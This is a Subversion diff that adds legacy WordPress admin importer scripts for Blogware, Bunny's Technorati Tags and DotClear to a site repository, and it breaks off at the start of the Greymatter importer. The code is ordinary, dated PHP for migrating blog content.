+			$post_content = str_replace('<br>', '<br />', $post_content);
+			$post_content = str_replace('<hr>', '<hr />', $post_content);
+			$post_content = $wpdb->escape($post_content);
+
+			$post_author = $current_user->ID;
+			preg_match('|<postStatus>(.*?)</postStatus>|is', $post, $post_status);
+			$post_status = trim($post_status[1]);
+
+			echo '<li>';
+			if ($post_id = post_exists($post_title, $post_content, $post_date)) {
+				printf(__('Post <em>%s</em> already exists.'), stripslashes($post_title));
+			} else {
+				printf(__('Importing post <em>%s</em>...'), stripslashes($post_title));
+				$postdata = compact('post_author', 'post_date', 'post_content', 'post_title', 'post_status');
+				$post_id = wp_insert_post($postdata);
+				if ( is_wp_error( $post_id ) ) {
+					return $post_id;
+				}
+				if (!$post_id) {
+					_e('Couldn&#8217;t get post ID');
+					echo '</li>';
+					break;
+				}
+				if(0 != count($categories))
+					wp_create_categories($categories, $post_id);
+			}
+
+			preg_match_all('|<comment>(.*?)</comment>|is', $post, $comments);
+			$comments = $comments[1];
+
+			if ( $comments ) {
+				$comment_post_ID = (int) $post_id;
+				$num_comments = 0;
+				foreach ($comments as $comment) {
+					preg_match('|<body>(.*?)</body>|is', $comment, $comment_content);
+					$comment_content = str_replace(array ('<![CDATA[', ']]>'), '', trim($comment_content[1]));
+					$comment_content = $this->unhtmlentities($comment_content);
+
+					// Clean up content
+					$comment_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $comment_content);
+					$comment_content = str_replace('<br>', '<br />', $comment_content);
+					$comment_content = str_replace('<hr>', '<hr />', $comment_content);
+					$comment_content = $wpdb->escape($comment_content);
+
+					preg_match('|<pubDate>(.*?)</pubDate>|is', $comment, $comment_date);
+					$comment_date = trim($comment_date[1]);
+					$comment_date = date('Y-m-d H:i:s', strtotime($comment_date));
+
+					preg_match('|<author>(.*?)</author>|is', $comment, $comment_author);
+					$comment_author = $wpdb->escape(trim($comment_author[1]));
+
+					$comment_author_email = NULL;
+
+					$comment_approved = 1;
+					// Check if it's already there
+					if (!comment_exists($comment_author, $comment_date)) {
+						$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_date', 'comment_content', 'comment_approved');
+						$commentdata = wp_filter_comment($commentdata);
+						wp_insert_comment($commentdata);
+						$num_comments++;
+					}
+				}
+			}
+			if ( $num_comments ) {
+				echo ' ';
+				printf( _n('%s comment', '%s comments', $num_comments), $num_comments );
+			}
+			echo '</li>';
+			flush();
+			ob_flush();
+		}
+		echo '</ol>';
+	}
+
+	function import() {
+		$file = wp_import_handle_upload();
+		if ( isset($file['error']) ) {
+			echo $file['error'];
+			return;
+		}
+
+		$this->file = $file['file'];
+		$result = $this->import_posts();
+		if ( is_wp_error( $result ) )
+			return $result;
+		wp_import_cleanup($file['id']);
+		do_action('import_done', 'blogware');
+		echo '<h3>';
+		printf(__('All done. <a href="%s">Have fun!</a>'), get_option('home'));
+		echo '</h3>';
+	}
+
+	function dispatch() {
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+
+		$this->header();
+
+		switch ($step) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				$result = $this->import();
+				if ( is_wp_error( $result ) )
+					$result->get_error_message();
+				break;
+		}
+
+		$this->footer();
+	}
+
+	function BW_Import() {
+		// Nothing.
+	}
+}
+
+$blogware_import = new BW_Import();
+
+register_importer('blogware', __('Blogware'), __('Import posts from Blogware.'), array ($blogware_import, 'dispatch'));
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/btt.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/btt.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/btt.php	(revision 44)
@@ -0,0 +1,130 @@
+<?php
+/**
+ * BunnyTags Plugin Tag Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * BunnyTags Plugin tag converter
+ *
+ * This will process the BunnyTags plugin tags and convert them to the WordPress
+ * 2.3 taxonomy.
+ *
+ * @since unknown
+ */
+class BunnyTags_Import {
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Bunny&#8217;s Technorati Tags').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'<br /><br /></p>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This imports tags from Bunny&#8217;s Technorati Tags into WordPress tags.').'</p>';
+		echo '<p>'.__('This is suitable for Bunny&#8217;s Technorati Tags version 0.6.').'</p>';
+		echo '<p><strong>'.__('All existing Bunny&#8217;s Technorati Tags will be removed after import.').'</strong></p>';
+		echo '<p><strong>'.__('Don&#8217;t be stupid - backup your database before proceeding!').'</strong></p>';
+		echo '<form action="admin.php?import=btt&amp;step=1" method="post">';
+		wp_nonce_field('import-btt');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Import Tags').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function dispatch() {
+		if ( empty($_GET['step']) )
+			$step = 0;
+		else
+			$step = absint($_GET['step']);
+
+		// load the header
+		$this->header();
+
+		switch ( $step ) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				check_admin_referer('import-btt');
+				$this->check_post_keyword( true );
+				break;
+			case 2 :
+				check_admin_referer('import-btt');
+				$this->check_post_keyword( false );
+				break;
+			case 3:
+				$this->done();
+				break;
+		}
+
+		// load the footer
+		$this->footer();
+	}
+
+	function check_post_keyword($precheck = true) {
+		global $wpdb;
+
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Reading Bunny&#8217;s Technorati Tags&#8230;').'</h3></p>';
+
+		// import Bunny's Keywords tags
+		$metakeys = $wpdb->get_results("SELECT post_id, meta_id, meta_key, meta_value FROM $wpdb->postmeta WHERE $wpdb->postmeta.meta_key = 'tags'");
+		if ( !is_array($metakeys)) {
+			echo '<p>' . __('No Tags Found!') . '</p>';
+			return false;
+		} else {
+			$count = count($metakeys);
+			echo '<p>' . sprintf( _n('Done! <strong>%s</strong> post with tags were read.', 'Done! <strong>%s</strong> posts with tags were read.', $count), $count ) . '<br /></p>';
+			echo '<ul>';
+			foreach ( $metakeys as $post_meta ) {
+				if ( $post_meta->meta_value != '' ) {
+					$post_keys = explode(' ', $post_meta->meta_value);
+					foreach ( $post_keys as $keyword ) {
+						$keyword = addslashes(trim(str_replace('+',' ',$keyword)));
+						if ( '' != $keyword ) {
+							echo '<li>' . $post_meta->post_id . '&nbsp;-&nbsp;' . $keyword . '</li>';
+							if ( !$precheck )
+								wp_add_post_tags($post_meta->post_id, $keyword);
+						}
+					}
+				}
+				if ( !$precheck )
+					delete_post_meta($post_meta->post_id, 'tags');
+			}
+			echo '</ul>';
+		}
+
+		echo '<form action="admin.php?import=btt&amp;step='.($precheck? 2:3).'" method="post">';
+		wp_nonce_field('import-btt');
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Next').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	function done() {
+		echo '<div class="narrow">';
+		echo '<p><h3>'.__('Import Complete!').'</h3></p>';
+		echo '</div>';
+	}
+
+	function BunnyTags_Import() {
+	}
+
+}
+
+// create the import object
+$btt_import = new BunnyTags_Import();
+
+// add it to the import page!
+register_importer('btt', 'Bunny&#8217;s Technorati Tags', __('Import Bunny&#8217;s Technorati Tags into WordPress tags.'), array($btt_import, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/dotclear.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/dotclear.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/dotclear.php	(revision 44)
@@ -0,0 +1,729 @@
+<?php
+/**
+ * DotClear Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ * @author Thomas Quinot
+ * @link http://thomas.quinot.org/
+ */
+
+/**
+	Add These Functions to make our lives easier
+**/
+
+if(!function_exists('get_comment_count'))
+{
+	/**
+	 * Get the comment count for posts.
+	 *
+	 * @package WordPress
+	 * @subpackage Dotclear_Import
+	 *
+	 * @param int $post_ID Post ID
+	 * @return int
+	 */
+	function get_comment_count($post_ID)
+	{
+		global $wpdb;
+		return $wpdb->get_var( $wpdb->prepare("SELECT count(*) FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+	}
+}
+
+if(!function_exists('link_exists'))
+{
+	/**
+	 * Check whether link already exists.
+	 *
+	 * @package WordPress
+	 * @subpackage Dotclear_Import
+	 *
+	 * @param string $linkname
+	 * @return int
+	 */
+	function link_exists($linkname)
+	{
+		global $wpdb;
+		return $wpdb->get_var( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_name = %s", $linkname) );
+	}
+}
+
+/**
+ * Convert from dotclear charset to utf8 if required
+ *
+ * @package WordPress
+ * @subpackage Dotclear_Import
+ *
+ * @param string $s
+ * @return string
+ */
+function csc ($s) {
+	if (seems_utf8 ($s)) {
+		return $s;
+	} else {
+		return iconv(get_option ("dccharset"),"UTF-8",$s);
+	}
+}
+
+/**
+ * @package WordPress
+ * @subpackage Dotclear_Import
+ *
+ * @param string $s
+ * @return string
+ */
+function textconv ($s) {
+	return csc (preg_replace ('|(?<!<br />)\s*\n|', ' ', $s));
+}
+
+/**
+ * Dotclear Importer class
+ *
+ * Will process the WordPress eXtended RSS files that you upload from the export
+ * file.
+ *
+ * @package WordPress
+ * @subpackage Importer
+ *
+ * @since unknown
+ */
+class Dotclear_Import {
+
+	function header()
+	{
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import DotClear').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'</p>';
+	}
+
+	function footer()
+	{
+		echo '</div>';
+	}
+
+	function greet()
+	{
+		echo '<div class="narrow"><p>'.__('Howdy! This importer allows you to extract posts from a DotClear database into your blog.  Mileage may vary.').'</p>';
+		echo '<p>'.__('Your DotClear Configuration settings are as follows:').'</p>';
+		echo '<form action="admin.php?import=dotclear&amp;step=1" method="post">';
+		wp_nonce_field('import-dotclear');
+		$this->db_form();
+		echo '<p class="submit"><input type="submit" name="submit" class="button" value="'.esc_attr__('Import Categories').'" /></p>';
+		echo '</form></div>';
+	}
+
+	function get_dc_cats()
+	{
+		global $wpdb;
+		// General Housekeeping
+		$dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost'));
+		set_magic_quotes_runtime(0);
+		$dbprefix = get_option('dcdbprefix');
+
+		// Get Categories
+		return $dcdb->get_results('SELECT * FROM '.$dbprefix.'categorie', ARRAY_A);
+	}
+
+	function get_dc_users()
+	{
+		global $wpdb;
+		// General Housekeeping
+		$dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost'));
+		set_magic_quotes_runtime(0);
+		$dbprefix = get_option('dcdbprefix');
+
+		// Get Users
+
+		return $dcdb->get_results('SELECT * FROM '.$dbprefix.'user', ARRAY_A);
+	}
+
+	function get_dc_posts()
+	{
+		// General Housekeeping
+		$dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost'));
+		set_magic_quotes_runtime(0);
+		$dbprefix = get_option('dcdbprefix');
+
+		// Get Posts
+		return $dcdb->get_results('SELECT '.$dbprefix.'post.*, '.$dbprefix.'categorie.cat_libelle_url AS post_cat_name
+						FROM '.$dbprefix.'post INNER JOIN '.$dbprefix.'categorie
+						ON '.$dbprefix.'post.cat_id = '.$dbprefix.'categorie.cat_id', ARRAY_A);
+	}
+
+	function get_dc_comments()
+	{
+		global $wpdb;
+		// General Housekeeping
+		$dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost'));
+		set_magic_quotes_runtime(0);
+		$dbprefix = get_option('dcdbprefix');
+
+		// Get Comments
+		return $dcdb->get_results('SELECT * FROM '.$dbprefix.'comment', ARRAY_A);
+	}
+
+	function get_dc_links()
+	{
+		//General Housekeeping
+		$dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost'));
+		set_magic_quotes_runtime(0);
+		$dbprefix = get_option('dcdbprefix');
+
+		return $dcdb->get_results('SELECT * FROM '.$dbprefix.'link ORDER BY position', ARRAY_A);
+	}
+
+	function cat2wp($categories='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$dccat2wpcat = array();
+		// Do the Magic
+		if(is_array($categories))
+		{
+			echo '<p>'.__('Importing Categories...').'<br /><br /></p>';
+			foreach ($categories as $category)
+			{
+				$count++;
+				extract($category);
+
+				// Make Nice Variables
+				$name = $wpdb->escape($cat_libelle_url);
+				$title = $wpdb->escape(csc ($cat_libelle));
+				$desc = $wpdb->escape(csc ($cat_desc));
+
+				if($cinfo = category_exists($name))
+				{
+					$ret_id = wp_insert_category(array('cat_ID' => $cinfo, 'category_nicename' => $name, 'cat_name' => $title, 'category_description' => $desc));
+				}
+				else
+				{
+					$ret_id = wp_insert_category(array('category_nicename' => $name, 'cat_name' => $title, 'category_description' => $desc));
+				}
+				$dccat2wpcat[$id] = $ret_id;
+			}
+
+			// Store category translation for future use
+			add_option('dccat2wpcat',$dccat2wpcat);
+			echo '<p>'.sprintf(_n('Done! <strong>%1$s</strong> category imported.', 'Done! <strong>%1$s</strong> categories imported.', $count), $count).'<br /><br /></p>';
+			return true;
+		}
+		echo __('No Categories to Import!');
+		return false;
+	}
+
+	function users2wp($users='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$dcid2wpid = array();
+
+		// Midnight Mojo
+		if(is_array($users))
+		{
+			echo '<p>'.__('Importing Users...').'<br /><br /></p>';
+			foreach($users as $user)
+			{
+				$count++;
+				extract($user);
+
+				// Make Nice Variables
+				$name = $wpdb->escape(csc ($name));
+				$RealName = $wpdb->escape(csc ($user_pseudo));
+
+				if($uinfo = get_userdatabylogin($name))
+				{
+
+					$ret_id = wp_insert_user(array(
+								'ID'		=> $uinfo->ID,
+								'user_login'	=> $user_id,
+								'user_nicename'	=> $Realname,
+								'user_email'	=> $user_email,
+								'user_url'	=> 'http://',
+								'display_name'	=> $Realname)
+								);
+				}
+				else
+				{
+					$ret_id = wp_insert_user(array(
+								'user_login'	=> $user_id,
+								'user_nicename'	=> csc ($user_pseudo),
+								'user_email'	=> $user_email,
+								'user_url'	=> 'http://',
+								'display_name'	=> $Realname)
+								);
+				}
+				$dcid2wpid[$user_id] = $ret_id;
+
+				// Set DotClear-to-WordPress permissions translation
+
+				// Update Usermeta Data
+				$user = new WP_User($ret_id);
+				$wp_perms = $user_level + 1;
+				if(10 == $wp_perms) { $user->set_role('administrator'); }
+				else if(9  == $wp_perms) { $user->set_role('editor'); }
+				else if(5  <= $wp_perms) { $user->set_role('editor'); }
+				else if(4  <= $wp_perms) { $user->set_role('author'); }
+				else if(3  <= $wp_perms) { $user->set_role('contributor'); }
+				else if(2  <= $wp_perms) { $user->set_role('contributor'); }
+				else                     { $user->set_role('subscriber'); }
+
+				update_usermeta( $ret_id, 'wp_user_level', $wp_perms);
+				update_usermeta( $ret_id, 'rich_editing', 'false');
+				update_usermeta( $ret_id, 'first_name', csc ($user_prenom));
+				update_usermeta( $ret_id, 'last_name', csc ($user_nom));
+			}// End foreach($users as $user)
+
+			// Store id translation array for future use
+			add_option('dcid2wpid',$dcid2wpid);
+
+
+			echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> users imported.'), $count).'<br /><br /></p>';
+			return true;
+		}// End if(is_array($users)
+
+		echo __('No Users to Import!');
+		return false;
+
+	}// End function user2wp()
+
+	function posts2wp($posts='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$dcposts2wpposts = array();
+		$cats = array();
+
+		// Do the Magic
+		if(is_array($posts))
+		{
+			echo '<p>'.__('Importing Posts...').'<br /><br /></p>';
+			foreach($posts as $post)
+			{
+				$count++;
+				extract($post);
+
+				// Set DotClear-to-WordPress status translation
+				$stattrans = array(0 => 'draft', 1 => 'publish');
+				$comment_status_map = array (0 => 'closed', 1 => 'open');
+
+				//Can we do this more efficiently?
+				$uinfo = ( get_userdatabylogin( $user_id ) ) ? get_userdatabylogin( $user_id ) : 1;
+				$authorid = ( is_object( $uinfo ) ) ? $uinfo->ID : $uinfo ;
+
+				$Title = $wpdb->escape(csc ($post_titre));
+				$post_content = textconv ($post_content);
+				$post_excerpt = "";
+				if ($post_chapo != "") {
+					$post_excerpt = textconv ($post_chapo);
+					$post_content = $post_excerpt ."\n<!--more-->\n".$post_content;
+				}
+				$post_excerpt = $wpdb->escape ($post_excerpt);
+				$post_content = $wpdb->escape ($post_content);
+				$post_status = $stattrans[$post_pub];
+
+				// Import Post data into WordPress
+
+				if($pinfo = post_exists($Title,$post_content))
+				{
+					$ret_id = wp_insert_post(array(
+							'ID'			=> $pinfo,
+							'post_author'		=> $authorid,
+							'post_date'		=> $post_dt,
+							'post_date_gmt'		=> $post_dt,
+							'post_modified'		=> $post_upddt,
+							'post_modified_gmt'	=> $post_upddt,
+							'post_title'		=> $Title,
+							'post_content'		=> $post_content,
+							'post_excerpt'		=> $post_excerpt,
+							'post_status'		=> $post_status,
+							'post_name'		=> $post_titre_url,
+							'comment_status'	=> $comment_status_map[$post_open_comment],
+							'ping_status'		=> $comment_status_map[$post_open_tb],
+							'comment_count'		=> $post_nb_comment + $post_nb_trackback)
+							);
+					if ( is_wp_error( $ret_id ) )
+						return $ret_id;
+				}
+				else
+				{
+					$ret_id = wp_insert_post(array(
+							'post_author'		=> $authorid,
+							'post_date'		=> $post_dt,
+							'post_date_gmt'		=> $post_dt,
+							'post_modified'		=> $post_modified_gmt,
+							'post_modified_gmt'	=> $post_modified_gmt,
+							'post_title'		=> $Title,
+							'post_content'		=> $post_content,
+							'post_excerpt'		=> $post_excerpt,
+							'post_status'		=> $post_status,
+							'post_name'		=> $post_titre_url,
+							'comment_status'	=> $comment_status_map[$post_open_comment],
+							'ping_status'		=> $comment_status_map[$post_open_tb],
+							'comment_count'		=> $post_nb_comment + $post_nb_trackback)
+							);
+					if ( is_wp_error( $ret_id ) )
+						return $ret_id;
+				}
+				$dcposts2wpposts[$post_id] = $ret_id;
+
+				// Make Post-to-Category associations
+				$cats = array();
+				$category1 = get_category_by_slug($post_cat_name);
+				$category1 = $category1->term_id;
+
+				if($cat1 = $category1) { $cats[1] = $cat1; }
+
+				if(!empty($cats)) { wp_set_post_categories($ret_id, $cats); }
+			}
+		}
+		// Store ID translation for later use
+		add_option('dcposts2wpposts',$dcposts2wpposts);
+
+		echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> posts imported.'), $count).'<br /><br /></p>';
+		return true;
+	}
+
+	function comments2wp($comments='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+		$dccm2wpcm = array();
+		$postarr = get_option('dcposts2wpposts');
+
+		// Magic Mojo
+		if(is_array($comments))
+		{
+			echo '<p>'.__('Importing Comments...').'<br /><br /></p>';
+			foreach($comments as $comment)
+			{
+				$count++;
+				extract($comment);
+
+				// WordPressify Data
+				$comment_ID = (int) ltrim($comment_id, '0');
+				$comment_post_ID = (int) $postarr[$post_id];
+				$comment_approved = "$comment_pub";
+				$name = $wpdb->escape(csc ($comment_auteur));
+				$email = $wpdb->escape($comment_email);
+				$web = "http://".$wpdb->escape($comment_site);
+				$message = $wpdb->escape(textconv ($comment_content));
+
+				if($cinfo = comment_exists($name, $comment_dt))
+				{
+					// Update comments
+					$ret_id = wp_update_comment(array(
+							'comment_ID'		=> $cinfo,
+							'comment_post_ID'	=> $comment_post_ID,
+							'comment_author'	=> $name,
+							'comment_author_email'	=> $email,
+							'comment_author_url'	=> $web,
+							'comment_author_IP'	=> $comment_ip,
+							'comment_date'		=> $comment_dt,
+							'comment_date_gmt'	=> $comment_dt,
+							'comment_content'	=> $message,
+							'comment_approved'	=> $comment_approved)
+							);
+				}
+				else
+				{
+					// Insert comments
+					$ret_id = wp_insert_comment(array(
+							'comment_post_ID'	=> $comment_post_ID,
+							'comment_author'	=> $name,
+							'comment_author_email'	=> $email,
+							'comment_author_url'	=> $web,
+							'comment_author_IP'	=> $comment_ip,
+							'comment_date'		=> $comment_dt,
+							'comment_date_gmt'	=> $comment_dt,
+							'comment_content'	=> $message,
+							'comment_approved'	=> $comment_approved)
+							);
+				}
+				$dccm2wpcm[$comment_ID] = $ret_id;
+			}
+			// Store Comment ID translation for future use
+			add_option('dccm2wpcm', $dccm2wpcm);
+
+			// Associate newly formed categories with posts
+			get_comment_count($ret_id);
+
+
+			echo '<p>'.sprintf(__('Done! <strong>%1$s</strong> comments imported.'), $count).'<br /><br /></p>';
+			return true;
+		}
+		echo __('No Comments to Import!');
+		return false;
+	}
+
+	function links2wp($links='')
+	{
+		// General Housekeeping
+		global $wpdb;
+		$count = 0;
+
+		// Deal with the links
+		if(is_array($links))
+		{
+			echo '<p>'.__('Importing Links...').'<br /><br /></p>';
+			foreach($links as $link)
+			{
+				$count++;
+				extract($link);
+
+				if ($title != "") {
+					if ($cinfo = is_term(csc ($title), 'link_category')) {
+						$category = $cinfo['term_id'];
+					} else {
+						$category = wp_insert_term($wpdb->escape (csc ($title)), 'link_category');
+						$category = $category['term_id'];
+					}
+				} else {
+					$linkname = $wpdb->escape(csc ($label));
+					$description = $wpdb->escape(csc ($title));
+
+					if($linfo = link_exists($linkname)) {
+						$ret_id = wp_insert_link(array(
+									'link_id'		=> $linfo,
+									'link_url'		=> $href,
+									'link_name'		=> $linkname,
+									'link_category'		=> $category,
+									'link_description'	=> $description)
+									);
+					} else {
+						$ret_id = wp_insert_link(array(
+									'link_url'		=> $url,
+									'link_name'		=> $linkname,
+									'link_category'		=> $category,
+									'link_description'	=> $description)
+									);
+					}
+					$dclinks2wplinks[$link_id] = $ret_id;
+				}
+			}
+			add_option('dclinks2wplinks',$dclinks2wplinks);
+			echo '<p>';
+			printf(_n('Done! <strong>%s</strong> link or link category imported.', 'Done! <strong>%s</strong> links or link categories imported.', $count), $count);
+			echo '<br /><br /></p>';
+			return true;
+		}
+		echo __('No Links to Import!');
+		return false;
+	}
+
+	function import_categories()
+	{
+		// Category Import
+		$cats = $this->get_dc_cats();
+		$this->cat2wp($cats);
+		add_option('dc_cats', $cats);
+
+
+
+		echo '<form action="admin.php?import=dotclear&amp;step=2" method="post">';
+		wp_nonce_field('import-dotclear');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Users'));
+		echo '</form>';
+
+	}
+
+	function import_users()
+	{
+		// User Import
+		$users = $this->get_dc_users();
+		$this->users2wp($users);
+
+		echo '<form action="admin.php?import=dotclear&amp;step=3" method="post">';
+		wp_nonce_field('import-dotclear');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Posts'));
+		echo '</form>';
+	}
+
+	function import_posts()
+	{
+		// Post Import
+		$posts = $this->get_dc_posts();
+		$result = $this->posts2wp($posts);
+		if ( is_wp_error( $result ) )
+			return $result;
+
+		echo '<form action="admin.php?import=dotclear&amp;step=4" method="post">';
+		wp_nonce_field('import-dotclear');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Comments'));
+		echo '</form>';
+	}
+
+	function import_comments()
+	{
+		// Comment Import
+		$comments = $this->get_dc_comments();
+		$this->comments2wp($comments);
+
+		echo '<form action="admin.php?import=dotclear&amp;step=5" method="post">';
+		wp_nonce_field('import-dotclear');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Import Links'));
+		echo '</form>';
+	}
+
+	function import_links()
+	{
+		//Link Import
+		$links = $this->get_dc_links();
+		$this->links2wp($links);
+		add_option('dc_links', $links);
+
+		echo '<form action="admin.php?import=dotclear&amp;step=6" method="post">';
+		wp_nonce_field('import-dotclear');
+		printf('<p class="submit"><input type="submit" name="submit" class="button" value="%s" /></p>', esc_attr__('Finish'));
+		echo '</form>';
+	}
+
+	function cleanup_dcimport()
+	{
+		delete_option('dcdbprefix');
+		delete_option('dc_cats');
+		delete_option('dcid2wpid');
+		delete_option('dccat2wpcat');
+		delete_option('dcposts2wpposts');
+		delete_option('dccm2wpcm');
+		delete_option('dclinks2wplinks');
+		delete_option('dcuser');
+		delete_option('dcpass');
+		delete_option('dcname');
+		delete_option('dchost');
+		delete_option('dccharset');
+		do_action('import_done', 'dotclear');
+		$this->tips();
+	}
+
+	function tips()
+	{
+		echo '<p>'.__('Welcome to WordPress.  We hope (and expect!) that you will find this platform incredibly rewarding!  As a new WordPress user coming from DotClear, there are some things that we would like to point out.  Hopefully, they will help your transition go as smoothly as possible.').'</p>';
+		echo '<h3>'.__('Users').'</h3>';
+		echo '<p>'.sprintf(__('You have already setup WordPress and have been assigned an administrative login and password.  Forget it.  You didn&#8217;t have that login in DotClear, why should you have it here?  Instead we have taken care to import all of your users into our system.  Unfortunately there is one downside.  Because both WordPress and DotClear uses a strong encryption hash with passwords, it is impossible to decrypt it and we are forced to assign temporary passwords to all your users.  <strong>Every user has the same username, but their passwords are reset to password123.</strong>  So <a href="%1$s">Login</a> and change it.'), '/wp-login.php').'</p>';
+		echo '<h3>'.__('Preserving Authors').'</h3>';
+		echo '<p>'.__('Secondly, we have attempted to preserve post authors.  If you are the only author or contributor to your blog, then you are safe.  In most cases, we are successful in this preservation endeavor.  However, if we cannot ascertain the name of the writer due to discrepancies between database tables, we assign it to you, the administrative user.').'</p>';
+		echo '<h3>'.__('Textile').'</h3>';
+		echo '<p>'.__('Also, since you&#8217;re coming from DotClear, you probably have been using Textile to format your comments and posts.  If this is the case, we recommend downloading and installing <a href="http://www.huddledmasses.org/category/development/wordpress/textile/">Textile for WordPress</a>.  Trust me&#8230; You&#8217;ll want it.').'</p>';
+		echo '<h3>'.__('WordPress Resources').'</h3>';
+		echo '<p>'.__('Finally, there are numerous WordPress resources around the internet.  Some of them are:').'</p>';
+		echo '<ul>';
+		echo '<li>'.__('<a href="http://www.wordpress.org">The official WordPress site</a>').'</li>';
+		echo '<li>'.__('<a href="http://wordpress.org/support/">The WordPress support forums</a>').'</li>';
+		echo '<li>'.__('<a href="http://codex.wordpress.org">The Codex (In other words, the WordPress Bible)</a>').'</li>';
+		echo '</ul>';
+		echo '<p>'.sprintf(__('That&#8217;s it! What are you waiting for? Go <a href="%1$s">login</a>!'), '../wp-login.php').'</p>';
+	}
+
+	function db_form()
+	{
+		echo '<table class="form-table">';
+		printf('<tr><th><label for="dbuser">%s</label></th><td><input type="text" name="dbuser" id="dbuser" /></td></tr>', __('DotClear Database User:'));
+		printf('<tr><th><label for="dbpass">%s</label></th><td><input type="password" name="dbpass" id="dbpass" /></td></tr>', __('DotClear Database Password:'));
+		printf('<tr><th><label for="dbname">%s</label></th><td><input type="text" name="dbname" id="dbname" /></td></tr>', __('DotClear Database Name:'));
+		printf('<tr><th><label for="dbhost">%s</label></th><td><input type="text" name="dbhost" id="dbhost" value="localhost" /></td></tr>', __('DotClear Database Host:'));
+		printf('<tr><th><label for="dbprefix">%s</label></th><td><input type="text" name="dbprefix" id="dbprefix" value="dc_"/></td></tr>', __('DotClear Table prefix:'));
+		printf('<tr><th><label for="dccharset">%s</label></th><td><input type="text" name="dccharset" id="dccharset" value="ISO-8859-15"/></td></tr>', __('Originating character set:'));
+		echo '</table>';
+	}
+
+	function dispatch()
+	{
+
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+		$this->header();
+
+		if ( $step > 0 )
+		{
+			check_admin_referer('import-dotclear');
+
+			if($_POST['dbuser'])
+			{
+				if(get_option('dcuser'))
+					delete_option('dcuser');
+				add_option('dcuser', sanitize_user($_POST['dbuser'], true));
+			}
+			if($_POST['dbpass'])
+			{
+				if(get_option('dcpass'))
+					delete_option('dcpass');
+				add_option('dcpass', sanitize_user($_POST['dbpass'], true));
+			}
+
+			if($_POST['dbname'])
+			{
+				if(get_option('dcname'))
+					delete_option('dcname');
+				add_option('dcname', sanitize_user($_POST['dbname'], true));
+			}
+			if($_POST['dbhost'])
+			{
+				if(get_option('dchost'))
+					delete_option('dchost');
+				add_option('dchost', sanitize_user($_POST['dbhost'], true));
+			}
+			if($_POST['dccharset'])
+			{
+				if(get_option('dccharset'))
+					delete_option('dccharset');
+				add_option('dccharset', sanitize_user($_POST['dccharset'], true));
+			}
+			if($_POST['dbprefix'])
+			{
+				if(get_option('dcdbprefix'))
+					delete_option('dcdbprefix');
+				add_option('dcdbprefix', sanitize_user($_POST['dbprefix'], true));
+			}
+
+
+		}
+
+		switch ($step)
+		{
+			default:
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				$this->import_categories();
+				break;
+			case 2 :
+				$this->import_users();
+				break;
+			case 3 :
+				$result = $this->import_posts();
+				if ( is_wp_error( $result ) )
+					echo $result->get_error_message();
+				break;
+			case 4 :
+				$this->import_comments();
+				break;
+			case 5 :
+				$this->import_links();
+				break;
+			case 6 :
+				$this->cleanup_dcimport();
+				break;
+		}
+
+		$this->footer();
+	}
+
+	function Dotclear_Import()
+	{
+		// Nothing.
+	}
+}
+
+$dc_import = new Dotclear_Import();
+
+register_importer('dotclear', __('DotClear'), __('Import categories, users, posts, comments, and links from a DotClear blog.'), array ($dc_import, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/greymatter.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/greymatter.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/greymatter.php	(revision 44)
@@ -0,0 +1,334 @@
+<?php
